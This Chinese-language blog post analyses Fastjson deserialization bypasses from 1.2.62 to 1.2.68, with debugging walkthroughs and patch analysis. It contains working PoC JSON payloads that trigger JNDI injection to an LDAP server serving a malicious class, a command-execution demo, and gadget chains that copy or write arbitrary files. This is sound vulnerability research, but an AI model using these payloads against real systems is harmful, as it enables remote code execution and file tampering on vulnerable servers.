Fastjson反序列化漏洞(4)—1.2.68版本
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Java,Security

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45 分钟

Fastjson反序列化漏洞(4)—1.2.68版本

复现大佬博客：Fastjson系列六——1.2.48-1.2.68反序列化漏洞

1.2.47之后出现了用各种绕过官方黑名单的方法，但是本质上都是使用了黑名单以外的类进行JNDI注入，所以都会受到JDK版本的限制。

 

1.2.62反序列化漏洞（黑名单绕过）

漏洞原理

新Gadget绕过黑名单限制。

org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞，可由其构造函数处触发利用。

PoC：

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/Exploit"}

前提条件

  • 需要开启AutoType；
  • Fastjson <= 1.2.62；
  • JNDI注入利用所受的JDK版本限制；
  • 目标服务端需要存在xbean-reflect包；

漏洞复现

漏洞代码示例：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class PoC_1_2_62 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://localhost:1389/Exploit\"}";
        JSON.parse(poc);
    }
}

开启LDAP恶意服务器和存放JNDIExploit恶意类的Web服务器，然后运行程序成功触发反序列化弹计算器：

image-20220607112012198

调试分析

直接在CheckAutoType()函数上打上断点开始分析，函数位置：com\alibaba\fastjson\parser\ParserConfig.java

相比于之前版本调试分析时看的CheckAutoType()函数，这里新增了一些代码逻辑，这里大致说下，下面代码是判断是否调用AutoType相关逻辑之前的代码，说明如注释：

if (typeName == null) {
          return null;
      }

// 限制了JSON中@type指定的类名长度
      if (typeName.length() >= 192 || typeName.length() < 3) {
          throw new JSONException("autoType is not support. " + typeName);
      }

// 单独对expectClass参数进行判断，设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
      final boolean expectClassFlag;
      if (expectClass == null) {
          expectClassFlag = false;
      } else {
          if (expectClass == Object.class
                  || expectClass == Serializable.class
                  || expectClass == Cloneable.class
                  || expectClass == Closeable.class
                  || expectClass == EventListener.class
                  || expectClass == Iterable.class
                  || expectClass == Collection.class
                  ) {
              expectClassFlag = false;
          } else {
              expectClassFlag = true;
          }
      }

      String className = typeName.replace('$', '.');
      Class<?> clazz = null;

      final long BASIC = 0xcbf29ce484222325L;
      final long PRIME = 0x100000001b3L;

// 1.2.43检测，"["
      final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
      if (h1 == 0xaf64164c86024f1aL) { // [
          throw new JSONException("autoType is not support. " + typeName);
      }

// 1.2.41检测，"Lxx;"
      if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
          throw new JSONException("autoType is not support. " + typeName);
      }

// 1.2.42检测，"LL"
      final long h3 = (((((BASIC ^ className.charAt(0))
              * PRIME)
              ^ className.charAt(1))
              * PRIME)
              ^ className.charAt(2))
              * PRIME;

// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中，若在则internalWhite为true
      boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
              TypeUtils.fnv1a_64(className)
      ) >= 0;

未开启AutoType时

在前面的基础上进行调试。

由于未开启AutoType、未设置expectClass且类名不在内部白名单中，因此第一段判断逻辑（这是开启AutoType的检测逻辑）没进去执行：

image-20220607113203897

往下，一系列的调用来尝试加载class，但并没有加载成功，看注释即可：

// 如果clazz还为null，则尝试从Mapping缓存中加载clazz
      if (clazz == null) {
          clazz = TypeUtils.getClassFromMapping(typeName);
      }

// 如果clazz还为null，则尝试调用findClass()来加载clazz
      if (clazz == null) {
          clazz = deserializers.findClass(typeName);
      }

// 如果clazz还为null，则尝试从typeMapping中获取clazz
      if (clazz == null) {
          clazz = typeMapping.get(typeName);
      }

// 如果在前面判断是在internalWhite即内部哈希白名单中，则直接加载clazz
      if (internalWhite) {
          clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
      }

// 如果clazz不为空，且expectClass不为空、clazz不为HashMap类型、clazz不为expectClass的子类，则直接返回该类
      if (clazz != null) {
          if (expectClass != null
                  && clazz != java.util.HashMap.class
                  && !expectClass.isAssignableFrom(clazz)) {
              throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
          }

          return clazz;
      }

接着到了AutoType关闭时的判断执行逻辑，即这是不启用AutoType的检测逻辑：

image-20220607113435117

此处先进行哈希黑名单过滤，然后进行哈希白名单匹配。由于该Gadget并不在黑名单中，因此能绕过此检测逻辑。

往下的代码逻辑如下，看注释：

      // 这里通过ASM对指定class进行visit，并尝试获取JsonType注解信息
boolean jsonType = false;
      InputStream is = null;
      try {
          String resource = typeName.replace('.', '/') + ".class";
          if (defaultClassLoader != null) {
              is = defaultClassLoader.getResourceAsStream(resource);
          } else {
              is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
          }
          if (is != null) {
              ClassReader classReader = new ClassReader(is, true);
              TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
              classReader.accept(visitor);
              jsonType = visitor.hasJsonType();
          }
      } catch (Exception e) {
          // skip
      } finally {
          IOUtils.close(is);
      }

// 设置autoTypeSupport开关
      final int mask = Feature.SupportAutoType.mask;
      boolean autoTypeSupport = this.autoTypeSupport
              || (features & mask) != 0
              || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

// 若到这一步，clazz还是null的话，就会对其是否开启AutoType、是否注解JsonType、是否设置expectClass来进行判断
// 如果判断通过，就会判断是否开启AutoType或是否注解JsonType，是的话就会在加载clazz后将其缓存到Mappings中，这正是1.2.47的利用点
// 也就是说，只要开启了AutoType或者注解了JsonType的话，在这段代码逻辑中就会把clazz缓存到Mappings中
      if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
          boolean cacheClass = autoTypeSupport || jsonType;
          clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
      }

// 如果从前面加载得到了clazz
      if (clazz != null) {
          // 如果注解了JsonType，直接返回clazz
          if (jsonType) {
              TypeUtils.addMapping(typeName, clazz);
              return clazz;
          }

          // 判断clazz是否为ClassLoader、DataSource、RowSet等类的子类，是的话直接抛出异常
          if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                  || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                  || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                  ) {
              throw new JSONException("autoType is not support. " + typeName);
          }

          // 如果是expectClass不为空且clazz是其子类，则直接返回，否则抛出异常
          if (expectClass != null) {
              if (expectClass.isAssignableFrom(clazz)) {
                  TypeUtils.addMapping(typeName, clazz);
                  return clazz;
              } else {
                  throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
              }
          }

          // build JavaBeanInfo后，对其creatorConstructor进行判断，如果该值不为null且开启AutoType则抛出异常
          JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
          if (beanInfo.creatorConstructor != null && autoTypeSupport) {
              throw new JSONException("autoType is not support. " + typeName);
          }
      }

再往下，clazz为null且AutoType为false就直接抛出异常找不到指定类了：

image-20220607114112844

就这，未开启AutoType就无法成功加载恶意类达到攻击目的。

开启AutoType时

和前面一样的，看看关键点。

这里是进入了第一个判断的代码逻辑即开启AutoType的检测逻辑，先进行哈希白名单匹配、然后进行哈希黑名单过滤，但由于该类不在黑白名单中所以这块检测通过了并往下执行：

image-20220607114239038

往下执行，到未开启AutoType的检测逻辑时直接跳过再往下执行，由于AutoTypeSupport为true，进入调用loadClass()函数的逻辑来加载恶意类：

image-20220607114525015

跟进TypeUtils.loadClass()函数中，这块是老相识了，其中通过AppClassLoader类加载器成功加载恶意类，且由于前面开启AutoType的缘故、cacheClass为true进而开启了cache缓存、使得恶意类缓存到了Mapping中（不过这里并没有用到缓存去绕过CheckAutoType()），最后返回加载的类：

image-20220607114623914

最后由于AutoType开启了、clazz不为null且满足其中一些判断逻辑，最后就直接返回该恶意类了：

image-20220607114816020

Gadget分析

AutoType那块调试分析完了，之后就是反序列化调用恶意类相关函数了。

继续往下调试看到，是调用到了org.apache.xbean.propertyeditor.JndiConverter类的无参构造函数，其中调用其父类AbstractConverter的有参构造函数：

image-20220607115011422

跟进其父类AbstractConverter中，既然都调用到父类构造函数了，结合前面的PoC中的AsText属性知道（JndiConverter类中并没有重写该属性的setter方法），是调用的AbstractConverter类的setAsText()函数来进行setter设置的：

image-20220607115142656

其中调用了toObject()函数进行对象转换操作，跟进去看下：

image-20220607115341283

其中调用了toObjectImpl()函数进行处理。而该函数在父类AbstractConverter中只是个抽象函数，在其子类JndiConverter中是实现了的，其中就是JNDI注入漏洞点：

image-20220607115433557

至此，就触发了JNDI注入漏洞导致成功利用了反序列化漏洞。

补丁分析

黑名单绕过的Gadget补丁都是在新版本中添加新Gadget黑名单来进行防御的：https://github.com/alibaba/fastjson/compare/1.2.62%E2%80%A61.2.66#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

新版本运行后直接被抛出异常：

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbe

在哈希黑名单中添加了该类，其中匹配到了该恶意类的Hash值：

image-20220607131050620

 

1.2.66反序列化漏洞（黑名单绕过）

漏洞原理

新Gadget绕过黑名单限制。

1.2.66涉及多条Gadget链，原理都是存在JDNI注入漏洞。

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC：

{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC：

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC：

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}

前提条件

  • 开启AutoType；
  • Fastjson <= 1.2.66；
  • JNDI注入利用所受的JDK版本限制；
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包；
  • br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包；
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包；

漏洞复现

漏洞代码示例：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class PoC_1_2_66 {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1389/Exploit\"], \"Realms\":[\"\"]}";
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
//        String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
//        String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
//                "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
        JSON.parse(poc);
    }
}

org.apache.shiro.realm.jndi.JndiRealmFactory

image-20220607141314235

br.com.anteros.dbcp.AnterosDBCPConfig

image-20220607141906531

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

image-20220607141933762

调试分析

这里只看Gadget关键点。

org.apache.shiro.realm.jndi.JndiRealmFactory

根据PoC：{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}

先调用了JndiRealmFactory类的jndiNames属性的setter方法进行设置：

image-20220607142336805

往下继续反序列化操作，解析到存在Realms字段时，就调用到了JndiRealmFactory类的getRealms()函数，其中存在JNDI注入漏洞：

image-20220607142503094

一个问题——为啥会调用到Realms的getter方法呢？

这是因为Realms的getter方法返回值类型就是Collection，满足Fastjson反序列化调用的getter方法的结论，因此能在反序列化的过程中调用到该getter方法。

br.com.anteros.dbcp.AnterosDBCPConfig

根据PoC：{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}或{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

先调用metricRegistry属性的setter方法，看到其中以属性值为参数调用getObjectOrPerformJndiLookup()函数：

image-20220607143047966

跟进getObjectOrPerformJndiLookup()函数，存在JNDI注入漏洞：

image-20220607143125961

另一个属性healthCheckRegistry同理：

image-20220607143241699

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig

根据PoC：{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}

直接调用属性properties的setter方法，其中获取类型为Properties的键名为UserTransaction的内容，并直接传入lookup()函数中导致JNDI注入漏洞：

image-20220607143726363

补丁分析

添加对应的哈希黑名单：https://github.com/alibaba/fastjson/compare/1.2.66%E2%80%A61.2.67#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

 

1.2.67反序列化漏洞（黑名单绕过）

漏洞原理

新Gadget绕过黑名单限制。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC：

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类PoC：

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

前提条件

  • 开启AutoType；
  • Fastjson <= 1.2.67；
  • JNDI注入利用所受的JDK版本限制；
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖；
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖；

漏洞复现

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

image-20220607145210751

org.apache.shiro.jndi.JndiObjectFactory

image-20220607145137799

调试分析

这里只看Gadget关键点。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

根据PoC：{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

先调用jndiNames属性的setter方法，注意这里接收参数类型是List，因此构造对应的值需要是数组形式：

image-20220607145557586

往下调试，会调用到tm字段的getter方法，其中存在JNDI注入漏洞：

image-20220607145740787

这里就很奇怪了，getTm()函数其实并不满足Fastjson反序列化自动调用满足条件的getter方法的，那么它为啥会执行呢？

来看下面分析。

Fastjson循环引用

Fastjson支持循环引用，并且是默认打开的。参考：https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8

在Fastjson中，往JSONArray类型的对象里面add数据时，如果数据相同，那么就会被替换成$ref，也就是被简化了，因为数据一样所以直接指向上一条数据。

$ref即循环引用：当一个对象包含另一个对象时，Fastjson就会把该对象解析成引用。引用是通过$ref标示的。

语法描述
{“$ref”:”$”}引用根对象
{“$ref”:”@”}引用自己
{“$ref”:”..”}引用父对象
{“$ref”:”../..”}引用父对象的父对象
{“$ref”:”$.members[0].reportTo”}基于路径的引用

那这样就清楚了，org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的{"$ref":"$.tm"}，实际上就是基于路径的引用，相当于是调用root.getTm()函数，进而直接调用了tm字段的getter方法了。

org.apache.shiro.jndi.JndiObjectFactory

根据PoC：{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

先调用resourceName属性的setter方法设置属性值：

image-20220607150914264

往下，就是和前面同理的，通过"instance":{"$ref":"$.instance"}即循环引用来调用instance的getter方法，其中存在JNDI注入漏洞：

image-20220607151046865

补丁分析

添加对应的哈希黑名单：https://github.com/alibaba/fastjson/compare/1.2.67%E2%80%A61.2.68#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

 

1.2.68反序列化漏洞（expectClass绕过AutoType）

这部分只看新的绕过AutoType的东西即expectClass。

漏洞原理

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass，可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。

简单地说，本次绕过checkAutoType()函数的攻击步骤为：

  1. 先传入某个类，其加载成功后将作为expectClass参数传入checkAutoType()函数；
  2. 查找expectClass类的子类或实现类，如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用；

前提条件

  • Fastjson <= 1.2.68；
  • 利用类必须是expectClass类的子类或实现类，并且不在黑名单中；

漏洞复现

简单地验证利用expectClass绕过的可行性，先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable：

package org.example;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

构造PoC如下：

{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}

无需开启AutoType，直接成功绕过CheckAutoType()的检测从而触发执行：

image-20220607152009616

调试分析

直接在CheckAutoType()函数中打断点开始调试。

第一次是传入java.lang.AutoCloseable类进行校验，这里CheckAutoType()函数的expectClass参数是为null的：

image-20220607152332773

往下，直接从缓存Mapping中获取到了java.lang.AutoCloseable类：

image-20220607152627567

看到该类是默认存在Mapping中的：

image-20220607153006642

往下就是判断clazz是否不是expectClass类的继承类且不是HashMap类型，是的话抛出异常，否则直接返回该类。这里没有expectClass就直接返回java.lang.AutoCloseable类：

image-20220607153131843

接着，返回到DefaultJSONParser类中获取到clazz后再继续执行，根据java.lang.AutoCloseable类获取到反序列化器为JavaBeanDeserializer，然后应用该反序列化器进行反序列化操作：

image-20220607153424122

往下，调用的是com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java的deserialze()函数进行反序列化操作，其中type参数就是传入的java.lang.AutoCloseable类：

image-20220607153622672

往下的逻辑，就是解析获取PoC后面的类的过程。这里看到获取不到对象反序列化器之后，就会进去如图的判断逻辑中，设置type参数即java.lang.AutoCloseable类为checkAutoType()函数的expectClass参数来调用checkAutoType()函数来获取指定类型，然后在获取指定的反序列化器：

image-20220607153941932

此时，第二次进入checkAutoType()函数，typeName参数是PoC中第二个指定的类，expectClass参数则是PoC中第一个指定的类：

image-20220607154024054

往下，由于java.lang.AutoCloseable类并非其中黑名单中的类，因此expectClassFlag被设置为true：

image-20220607154157640

往下，由于expectClassFlag为true且目标类不在内部白名单中，程序进入AutoType开启时的检测逻辑：

image-20220607154235336

由于org.example.VulAutoCloseable类不在黑白名单中，因此这段能通过检测并继续往下执行。

往下，未加载成功目标类，就会进入AutoType关闭时的检测逻辑，和上同理，这段能通过检测并继续往下执行：

image-20220607154335220

往下，由于expectClassFlag为true，进入如下的loadClass()逻辑来加载目标类，但是由于AutoType关闭且jsonType为false，因此调用loadClass()函数的时候是不开启cache即缓存的：

image-20220607154539827

跟进该函数，使用AppClassLoader加载org.example.VulAutoCloseable类并直接返回：

image-20220607154646638

往下，判断是否jsonType、true的话直接添加Mapping缓存并返回类，否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类，是的话直接抛出异常，这也是过滤大多数JNDI注入Gadget的机制：

image-20220607154721554

前面的都能通过，往下，如果expectClass不为null，则判断目标类是否是expectClass类的子类，是的话就添加到Mapping缓存中并直接返回该目标类，否则直接抛出异常导致利用失败，这里就解释了为什么恶意类必须要继承AutoCloseable接口类，因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断：

image-20220607154800742

checkAutoType()调用完返回类之后，就进行反序列化操作、新建恶意类实例进而调用其构造函数从而成功触发漏洞：

image-20220607155054072

小结：当传入checkAutoType()函数的expectClass参数不为null，并且需要加载的目标类是expectClass类的子类或者实现类时（不在黑名单中），就将需要加载的目标类当做是正常的类然后通过调用TypeUtils.loadClass()函数进行加载。

实际利用

前面漏洞复现只是简单地验证绕过方法的可行性，在实际的攻击利用中，是需要我们去寻找实际可行的利用类的。

这里直接参考b1ue大佬文章，主要是寻找关于输入输出流的类来写文件，IntputStream和OutputStream都是实现自AutoCloseable接口的。

我寻找 gadget 时的条件是这样的。

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream，参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个，并且可以通过 set 方法或构造方法传入一个 OutputStream，最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream，并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链，我通过扫描了一下 JDK ，找到了符合第一个和第三个条件的类。

分别是 FileOutputStream 和 ObjectOutputStream，但这两个类选取的构造器，不符合情况，所以只能找到这两个类的子类，或者功能相同的类。

复制文件

利用类：org.eclipse.core.internal.localstore.SafeFileOutputStream

依赖：

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

看下SafeFileOutputStream类的源码，其SafeFileOutputStream(java.lang.String, java.lang.String)构造函数判断了如果targetPath文件不存在且tempPath文件存在，就会把tempPath复制到targetPath中，正是利用其构造函数的这个特点来实现Web场景下的任意文件读取：

public class SafeFileOutputStream extends OutputStream {
    protected File temp;
    protected File target;
    protected OutputStream output;
    protected boolean failed;
    protected static final String EXTENSION = ".bak";

    public SafeFileOutputStream(File file) throws IOException {
        this(file.getAbsolutePath(), (String)null);
    }

    // 该构造函数判断如果targetPath文件不存在且tempPath文件存在，就会把tempPath复制到targetPath中
    public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }

            this.copy(this.temp, this.target);
        }

        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

    public void close() throws IOException {
        try {
            this.output.close();
        } catch (IOException var2) {
            this.failed = true;
            throw var2;
        }

        if (this.failed) {
            this.temp.delete();
        } else {
            this.commit();
        }

    }

    protected void commit() throws IOException {
        if (this.temp.exists()) {
            this.target.delete();
            this.copy(this.temp, this.target);
            this.temp.delete();
        }
    }

    protected void copy(File sourceFile, File destinationFile) throws IOException {
        if (sourceFile.exists()) {
            if (!sourceFile.renameTo(destinationFile)) {
                InputStream source = null;
                BufferedOutputStream destination = null;

                try {
                    source = new BufferedInputStream(new FileInputStream(sourceFile));
                    destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
                    this.transferStreams(source, destination);
                    destination.close();
                } finally {
                    FileUtil.safeClose(source);
                    FileUtil.safeClose(destination);
                }

            }
        }
    }

    protected void createTempFile(String tempPath) {
        if (tempPath == null) {
            tempPath = this.target.getAbsolutePath() + ".bak";
        }

        this.temp = new File(tempPath);
    }

    public void flush() throws IOException {
        try {
            this.output.flush();
        } catch (IOException var2) {
            this.failed = true;
            throw var2;
        }
    }

    public String getTempFilePath() {
        return this.temp.getAbsolutePath();
    }

    protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
        byte[] buffer = new byte[8192];

        while(true) {
            int bytesRead = source.read(buffer);
            if (bytesRead == -1) {
                return;
            }

            destination.write(buffer, 0, bytesRead);
        }
    }

    public void write(int b) throws IOException {
        try {
            this.output.write(b);
        } catch (IOException var3) {
            this.failed = true;
            throw var3;
        }
    }
}

PoC：

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}

攻击利用：

image-20220607155955541

写入文件

写内容类：com.esotericsoftware.kryo.io.Output

依赖：

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>

Output类主要用来写内容，它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流，其中buffer参数值是文件内容，outputStream参数值就是前面的SafeFileOutputStream类对象，而要触发写文件操作则需要调用其flush()函数：

/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
 * @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
    this.outputStream = outputStream;
    position = 0;
    total = 0;
}

...

/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
 * maxBufferSize. */
public void setBuffer (byte[] buffer) {
    setBuffer(buffer, buffer.length);
}

...

/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
    if (outputStream == null) return;
    try {
        outputStream.write(buffer, 0, position);
        outputStream.flush();
    } catch (IOException ex) {
        throw new KryoException(ex);
    }
    total += position;
    position = 0;
}

...

接着，就是要看怎么触发Output类flush()函数了，flush()函数只有在close()和require()函数被调用时才会触发，其中require()函数在调用write相关函数时会被触发。

其中，找到JDK的ObjectOutputStream类，其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量，而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数，满足前面的需求：

/**
       * Creates new BlockDataOutputStream on top of given underlying stream.
       * Block data mode is turned off by default.
       */
      BlockDataOutputStream(OutputStream out) {
          this.out = out;
          dout = new DataOutputStream(this);
      }

      /**
       * Sets block data mode to the given mode (true == on, false == off)
       * and returns the previous mode value.  If the new mode is the same as
       * the old mode, no action is taken.  If the new mode differs from the
       * old mode, any buffered data is flushed before switching to the new
       * mode.
       */
      boolean setBlockDataMode(boolean mode) throws IOException {
          if (blkmode == mode) {
              return blkmode;
          }
          drain();
          blkmode = mode;
          return !blkmode;
      }

...

      /**
       * Writes all buffered data from this stream to the underlying stream,
       * but does not flush underlying stream.
       */
      void drain() throws IOException {
          if (pos == 0) {
              return;
          }
          if (blkmode) {
              writeBlockHeader(pos);
          }
          out.write(buf, 0, pos);
          pos = 0;
      }

对于setBlockDataMode()函数的调用，在ObjectOutputStream类的有参构造函数中就存在：

public ObjectOutputStream(OutputStream out) throws IOException {
    verifySubclass();
    bout = new BlockDataOutputStream(out);
    handles = new HandleTable(10, (float) 3.00);
    subs = new ReplaceTable(10, (float) 3.00);
    enableOverride = false;
    writeStreamHeader();
    bout.setBlockDataMode(true);
    if (extendedDebugInfo) {
        debugInfoStack = new DebugTraceInfoStack();
    } else {
        debugInfoStack = null;
    }
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数，因此只能找ObjectOutputStream的继承类来触发了。

只有有参构造函数的ObjectOutputStream继承类：com.sleepycat.bind.serial.SerialOutput

依赖：

<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

看到，SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数，这就满足了前面的条件了：

public SerialOutput(OutputStream out, ClassCatalog classCatalog)
    throws IOException {

    super(out);
    this.classCatalog = classCatalog;

    /* guarantee that we'll always use the same serialization format */

    useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}

PoC如下，用到了Fastjson循环引用的技巧来调用：

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "E:/code/hacked.txt",
        "tempPath": "E:/code/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

这里写入文件内容其实有限制，有的特殊字符并不能直接写入到目标文件中，比如写不进PHP代码等。

image-20220607161304461

补丁分析

看GitHub官方的diff，主要在ParserConfig.java中：https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

对比看到expectClass的判断逻辑中，对类名进行了Hash处理再比较哈希黑名单，并且添加了三个类：

image-20220607161428111

网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为：

版本十进制Hash值十六进制Hash值类名
1.2.695183404141909004468L0x47ef269aadc650b4Ljava.lang.Runnable
1.2.692980334044947851925L0x295c4605fd1eaa95Ljava.lang.Readable
1.2.69-1368967840069965882L0xed007300a7b227c6Ljava.lang.AutoCloseable

这就简单粗暴地防住了这几个类导致的绕过问题了。

SafeMode

官方参考：https://github.com/alibaba/fastjson/wiki/fastjson_safemode

在1.2.68之后的版本，在1.2.68版本中，fastjson增加了safeMode的支持。safeMode打开后，完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。

代码中设置开启SafeMode如下：

ParserConfig.getGlobalInstance().setSafeMode(true);

